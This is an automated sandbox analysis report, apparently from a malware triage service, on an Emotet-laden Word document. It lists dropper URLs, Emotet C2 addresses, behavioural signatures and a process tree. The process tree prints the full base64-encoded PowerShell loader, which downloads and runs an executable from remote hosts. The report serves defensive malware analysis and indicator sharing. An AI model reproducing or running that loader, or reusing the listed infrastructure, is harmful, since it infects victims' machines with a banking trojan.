Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    70s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    03/09/2020, 14:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_0322a01f701f4c23a4fb0f7fe6ec0efe71b1f7e2d5224de2b600af2da309def7_2020-09-03__143450._doc.doc
  • Size 186KB
  • Sample200903-kdpqs4a96x
  • SHA256 0322a01f701f4c23a4fb0f7fe6ec0efe71b1f7e2d5224de2b600af2da309def7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://dvers.me/cgi-bin/s/
  • exe.dropper

    http://fabregat.eu/images/q/
  • exe.dropper

    http://ezola.fr/Accessoires/IKh/
  • exe.dropper

    http://finewines.com.sg/wset-2-registration/6bsizM/
  • exe.dropper

    http://fernsehservice-stara.de/cgi-bin/x/
  • exe.dropper

    http://familienbande-ley.de/cgi-bin/tKX/
  • exe.dropper

    http://ketisch.de/adina/G/

Extracted

Family

  • emotet

C2

  • 140.186.212.146:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 24.43.99.75:80

  • 120.150.60.189:80

  • 189.212.199.126:443

  • 98.109.204.230:80

  • 174.45.13.118:80

  • 95.213.236.64:8080

  • 203.153.216.189:7080

  • 188.219.31.12:80

  • 168.235.67.138:7080

  • 152.168.248.128:443

  • 173.62.217.22:443

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 112.185.64.233:80

  • 190.160.53.126:80

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0322a01f701f4c23a4fb0f7fe6ec0efe71b1f7e2d5224de2b600af2da309def7_2020-09-03__143450._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1440
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
      "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:752
      • C:\Windows\SysWOW64\ndfapi\KBDKYR.exe
        "C:\Windows\SysWOW64\ndfapi\KBDKYR.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1372

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/656-22-0x000007FEF7710000-0x000007FEF798A000-memory.dmp
        Download

        memory/752-17-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1372-21-0x0000000000330000-0x000000000033C000-memory.dmp
        Download

        memory/1440-6-0x000000000A950000-0x000000000A954000-memory.dmp
        Download

        memory/1440-7-0x0000000006ED0000-0x00000000070D0000-memory.dmp
        Download

        memory/1440-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1972-9-0x00000000021F0000-0x00000000021F1000-memory.dmp
        Download

        memory/1972-14-0x000000001B6C0000-0x000000001B6C1000-memory.dmp
        Download

        memory/1972-13-0x000000001B500000-0x000000001B501000-memory.dmp
        Download

        memory/1972-12-0x0000000002560000-0x0000000002561000-memory.dmp
        Download

        memory/1972-11-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/1972-10-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/1972-8-0x000007FEF1540000-0x000007FEF1F2C000-memory.dmp
        Download